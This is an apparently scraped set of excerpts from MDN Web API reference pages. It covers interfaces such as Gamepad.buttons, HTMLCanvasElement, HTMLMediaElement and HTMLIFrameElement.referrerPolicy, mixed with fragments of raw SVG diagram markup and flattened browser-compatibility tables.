... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgainnode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari ?
... webview android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.chrome android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ?
Gamepad.buttons - Web APIs
WebAPIGamepadbuttons
each entry in the array is 0 if the button is not pressed, and non-zero (typically 1.0) if the button is pressed.
... each gamepadbutton object has two properties: pressed and value: the pressed property is a boolean indicating whether the button is currently pressed (true) or unpressed (false).
... the value property is a floating point value used to enable representing analog buttons, such as the triggers on many modern gamepads.
... syntax readonly attribute gamepadbutton[] buttons; example the following code is taken from my gamepad api button demo (you can view the demo live, and find the source code on github.) note the code fork — in chrome navigator.getgamepads needs a webkit prefix and the button values are stores as an array of double values, whereas in firefox navigator.getgamepads doesn't need a prefix, and the button values are stored as an array of gamepadbutton objects; it is the gamepadbutton.value or gamepadbutton.pressed properties of these we need to access, depending on what type of buttons they are.
GlobalEventHandlers.onpointerleave - Web APIs
the global event handler for the pointerleave event, which is delivered to a node when the pointer (mouse cursor, fingertip, etc.) exits its hit test area (for example, if the cursor exits an element or window's content area).
... syntax eventtarget.onpointerleave = leavehandler; var leavehandler = eventtarget.onpointerleave; value leavehandler the eventlistener which will be invoked to handle pointerleave events sent to the target.
... <html> <script> function leavehandler(ev) { // process the pointerleave event } function init() { var el=document.getelementbyid("target1"); el.onpointerleave = leavehandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointerleave="leavehandler(event)"> touch me ...
HTMLCanvasElement.captureStream() - Web APIs
the htmlcanvaselement capturestream() method returns a mediastream which includes a canvascapturemediastreamtrack containing a real-time video capture of the canvas's contents.
... syntax mediastream = canvas.capturestream(framerate); parameters framerate optional a double-precision floating-point value that indicates the rate of capture of each frame.
... if not set, a new frame will be captured each time the canvas changes; if set to 0, frames will not be captured automatically; instead, they will only be captured when the returned track's requestframe() method is called.
... return value a reference to a mediastream object, which has a single canvascapturemediastreamtrack in it.
HTMLCanvasElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlcanvaselement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle...
... htmlcanvaselement.toblob() creates a blob object representing the image contained in the canvas; this file may be cached on the disk or stored in memory at the discretion of the user agent.
HTMLDataElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldataelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
... htmldataelement.value is a domstring reflecting the value html attribute, containing a machine-readable form of the element's value.
HTMLDocument - Web APIs
the htmldocument interface, which may be accessed through the window.htmldocument property, extends the window.htmldocument property to include methods and properties that are specific to html documents.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/document" target="_top"><rect x="266" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">document</text></a><polyline points="346,25 356,20 356,30 346,25" stroke="#d4dde4" fill="none"/><line x1="356" y1="25" x2="386" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldocument" target="_top"><rect x="386" y="1" width="120" hei...
...ght="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="446" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldocument</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} for the purposes of web development, you can generally think of htmldocument as an alias for document, upon which htmldocument is based.
inert - Web APIs
WebAPIHTMLElementinert
the boolean inert attribute, when present, may make the browser "ignore" the element from assistive technologies, page search and text selection.
... this can be useful when building uis such as modals where you would want to "trap" the focus inside the modal when it's visible.
... according to the spec: when a node is inert, then the user agent must act as if the node was absent for the purposes of targeting user interaction events, may ignore the node for the purposes of text search user interfaces (commonly known as "find in page"), and may prevent the user from selecting text in that node.
...check out the following polyfills: inert ...
HTMLElement.offsetHeight - Web APIs
it does not include the height of pseudo-elements such as ::before or ::after.
... example the example image above shows a scrollbar and an offsetheight which fits on the window.
... however, non-scrollable elements may have large offsetheight values, much larger than the visible content.
... working draft notes offsetheight is a property of the dhtml object model which was first introduced by msie.
HTMLElement.offsetParent - Web APIs
the htmlelement.offsetparent read-only property returns a reference to the element which is the closest (nearest in the containment hierarchy) positioned ancestor element.
... syntax parentobj = element.offsetparent; parentobj is an object reference to the element in which the current element is offset.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoffsetparentchrome full support 1edge full support 12firefox full support 1ie full support 8opera full support 8safari full support 3webview android full support 1chrome android full support 18firefox android full support 4opera android ...
HTMLFormElement.elements - Web APIs
prior to html 5, the returned object was an htmlcollection, on which htmlformcontrolscollection is based.
...this is a live collection; if form controls are added to or removed from the form, this collection will update to reflect the change.
... the form controls in the returned collection are in the same order in which they appear in the form by following a preorder, depth-first traversal of the tree.
... the elements included by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <textarea> no other elements are included in the list returned by elements, which makes it an excellent way to get at the elements most important when processing forms.
HTMLFormElement: submit event - Web APIs
however, the submitevent which is sent to indicate the form's submit action has been triggered includes a submitter property, which is the button that was invoked to trigger the submit request.
... working draft no change html 5.2the definition of 'submit' in that specification.
... recommendation no change html 5.1the definition of 'submit' in that specification.
... recommendation no change html5the definition of 'submit' in that specification.
HTMLHRElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlhrelement" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">ht...
... obsolete no change from document object model (dom) level 1 specification.
HTMLHeadingElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlheadingelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middl...
... obsolete no change document object model (dom) level 1 specificationthe definition of 'htmlheadingelement' in that specification.
HTMLIFrameElement.referrerPolicy - Web APIs
the htmliframeelement.referrerpolicy property reflects the html referrerpolicy attribute of the <iframe> element defining which referrer is sent when fetching the resource.
... examples var iframe = document.createelement("iframe"); iframe.src = "/"; iframe.referrerpolicy = "unsafe-url"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome full support 51edge full support 79firefox full support 50ie no support noopera full support 38safari full support 11.1webview android full support 51chrome android full support 51firefox android full support 50opera a...
HTMLImageElement.border - Web APIs
for example, if you have the following html: <img src="image.png" border="2"> the following will provide the same appearance using css instead of this obsolete property: <img src="image.png" style="border: 2px;"> you can further provide additional information to change the color and other features of the border: <img src="image.png" style="border: dashed 2px #333388;"> specifications specification status comment html living standardthe definition of 'htmlimageelement.border' in that specification.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborderchrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ?
HTMLImageElement.name - Web APIs
syntax htmlimageelement.name = namestring; namestring = htmlimageelement.name; value a domstring providing a name by which the image can be referenced.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android ?
HTMLMapElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmapelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">h...
... obsolete no change from document object model (dom) level 1 specification.
HTMLMediaElement.currentTime - Web APIs
changing the value of currenttime this value seeks the media to the new time.
... if the media is not yet playing, the value of currenttime indicates the time position within the media at which playback will begin once the play() method is called.
... for media without a known duration—such as media being streamed live—it's possible that the browser may not be able to obtain parts of the media that have expired from the media buffer.
... living standard no change from html5 html5the definition of 'htmlmediaelement.currenttime' in that specification.
HTMLMediaElement.seekToNextFrame() - Web APIs
the htmlmediaelement.seektonextframe() method asynchronously advances the the current play position to the next frame in the media.
...you should not use this method in production code, because its implementation may change—or be removed outright—without notice.
... syntax var seekcompletepromise = htmlmediaelement.seektonextframe(); htmlmediaelement.seektonextframe(); return value a promise which is fulfilled once the seek operation has completed.
... firefox 49 returns undefined instead of a promise, and performs the seek operation synchronously.
HTMLMediaElement.setMediaKeys() - Web APIs
the setmediakeys() property of the htmlmediaelement interface returns a promise that resolves to the passed mediakeys, which are those used to decrypt media during playback.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetmediakeyschrome full support yesedge full support 13firefox full support yesie ?
... chrome android ?
HTMLMenuElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmenuelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
... living standard no change from latest snapshot, unknown html 5.2the definition of 'htmlmenuelement' in that specification.
HTMLOListElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlolistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
... obsolete no change from document object model (dom) level 1 specification.
HTMLParagraphElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlparagraphelement" target="_top"><rect x="291" y="65" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mid...
... obsolete no change from document object model (dom) level 1 specification.
HTMLParamElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
